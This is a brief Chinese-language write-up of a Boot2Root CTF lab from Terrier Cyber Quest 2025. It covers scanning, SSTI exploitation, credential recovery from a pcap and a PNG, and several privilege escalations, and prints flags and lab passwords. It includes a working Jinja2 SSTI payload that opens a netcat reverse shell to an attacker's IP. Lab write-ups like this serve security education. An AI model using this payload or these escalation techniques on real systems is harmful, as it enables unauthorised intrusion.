Terrier Cyber Quest 2025 — 简要 Write-up

303 阅读2分钟

官网:http://securitytech.cc/

Terrier Cyber Quest 2025 — 简要 Write-up

一次简短但完整的 Boot2Root CTF 解题过程(Cyber Quest 2025 期间举办)。


初始访问

运行 nmap 扫描 ——

sudo nmap -sC 192.168.57.24 -A -v -p-

nmap 扫描结果

我们发现 5000 端口 上运行着一个 web 服务器 ——

服务信息

然后使用 ffuf 对目录和接口进行模糊测试:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://192.168.57.24:5000/FUZZ -fs 3806

ffuf 结果

找到一个页面并测试 SSTI,确认存在。

SSTI 测试

进一步输入 payload 验证:

SSTI 确认

利用 payload 获取初始 shell:

{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('nc -e /bin/bash IP PORT').read()}}

得到第一个 Flag —— FLAG -> S3Cur1ty_Br3@k_P@55ed

拿到 foothold shell

在根目录下发现可疑目录,里面有一份 note ——

提示信息

提示指向了一个 pcapng 文件。使用 Wireshark 查看 ICMP 数据:

wireshark 分析 pcap

解码后得到:

22gSOqdlldjDbbIxZ4NPAeodlIvKmMGjj3ZTw9D5fXc1ffsERpc7CznmEVd1BhfbqbQaIJ5s4

用 CyberChef 解码得到密码: Pass:H1dden_W0rlD_UnD3r_Bit

CyberChef 解码

我们还提取出一个 Container.png 文件 ——

wireshark 导出 PNG

使用 OpenStego 从 PNG 中提取凭据: F!ow3r#92@tY8&Vk

OpenStego 提取结果

另外,/etc/passwd 中有多个用户 ——

cat /etc/passwd


权限提升 — 阶段 1

利用花的账号 flower ssh 登录 ——

flower ssh 登录

/handler 目录发现权限不一样的内容:

handler 目录

发现 daemon.py 进程在以 leaf 用户运行,且会从 /handler/handler.py 拷贝到 /tmp/ 并执行。 我们有写权限,因此直接修改 handler.py 写入反弹 shell 代码。

运行 nc -nvlp 8080 触发后获得 leaf 用户 shell。

拿到 leaf shell

拿到第三个 Flag —— FLAG -> Y0u_kn0w_i5_th15_RaC3

Flag 3


权限提升 — 阶段 2

/bin/ 发现一个带 SUID 的 challenge 可执行文件 ——

challenge 文件

反编译发现是 ret2win 类型的漏洞。

Binary Ninja 反编译 win()

用户名是 john,密码检查函数也能被绕过。

通过覆盖 exit@gotwin() 地址,成功以 stem 用户运行。

GDB 调试覆盖 GOT

拿到 stem 用户

Flag —— FLAG -> PwN_2_0wN_N0w_Y0u_ar3_5t3M

Flag 4


权限提升 — 阶段 3

最后发现另一个带 SUID 的二进制 final ——

final 文件

存在 格式化字符串漏洞,可泄露 libc 地址、stack canary、main 地址。

内存泄露

还存在 栈溢出,可结合 ROP 调用 libc 函数。

溢出函数

最终通过 ROP 调用 setuid(0) + system("/bin/sh") 拿到 root。

Exploit 运行结果

运行 final_pwn.py 脚本后成功 —— Flag:D4Y_0_T0_zeR0_d4Y

root shell


总结